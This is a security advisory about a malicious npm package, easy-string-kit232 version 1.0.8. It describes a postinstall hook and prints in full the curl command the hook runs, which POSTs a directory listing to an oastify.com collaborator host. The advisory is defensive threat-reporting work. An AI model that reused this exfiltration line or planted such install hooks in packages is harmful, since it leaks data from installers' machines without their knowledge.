easy-string-kit232npm
Advisory published Updated
easy-string-kit232 is a confirmed malicious npm package (MAL-2026-6461) that executes malicious code on install (malicious version 1.0.8). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in easy-string-kit232 (npm)
What this malware does
package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$(ls -la /data/logs/)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. This shells out at install time, captures a directory listing of /data/logs/ on the installer's host, and POSTs the output over plaintext HTTP to a Burp Suite Collaborator (oastify.com) out-of-band subdomain controlled by whoever generated that Collaborator instance. The package advertises itself as a string-utility kit, which has no need to enumerate host filesystem contents or contact a remote OAST endpoint. Author, repository, bugs, and homepage metadata are all empty, consistent with a throwaway publish purpose-built for the exfil payload rather than a maintained utility.
The OpenSSF Package Analysis project identified 'easy-string-kit232' @ 1.0.8 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for easy-string-kit232 (version 1.0.8).
If you installed it — respond
Remove easy-string-kit232 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If easy-string-kit232 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks easy-string-kit232-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.